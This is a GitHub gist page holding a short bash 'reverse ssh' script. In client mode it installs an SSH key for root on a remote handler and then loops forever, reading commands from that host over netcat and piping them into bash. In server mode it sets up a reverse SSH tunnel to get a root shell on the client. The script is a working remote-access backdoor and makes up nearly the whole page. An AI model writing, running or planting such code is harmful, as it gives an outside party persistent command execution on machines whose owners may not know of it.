Skip to content

Instantly share code, notes, and snippets.

@pry0cc
Created August 5, 2015 22:10
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pry0cc/dd0fd2d7bd1a72787975 to your computer and use it in GitHub Desktop.
Save pry0cc/dd0fd2d7bd1a72787975 to your computer and use it in GitHub Desktop.
A reverse ssh script.
mode=$1
local_ip=$2
local_port=$3
function serv_ins {
echo "ssh -N -R $local_port:localhost:22 root@$local_ip" | sudo timeout 2 nc -l -c -p $local_port
}
if [ $mode = -s ]
then
while [ $(sudo netstat -tupln | grep :$local_port | grep sshd | wc -l) = 0 ]
do
serv_ins
done
echo "[*] Connection established"
echo "[+] Authenticating to reverse_ssh client"
ssh -p $local_port root@localhost
elif [ $mode = -c ]
then
reconnect_time=$4
if [ ! -f ~/.ssh/id_rsa.pub ]
then
echo "No SSH keypair found... Generating one."
ssh-keygen
ssh-copy-id root@$local_ip
fi
echo "Checking for Handler interaction every $reconnect_time seconds"
while true
do
echo "Attempting connection..."
connect=$(nc $local_ip $local_port)
echo $connect | bash
sleep $reconnect_time
done
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment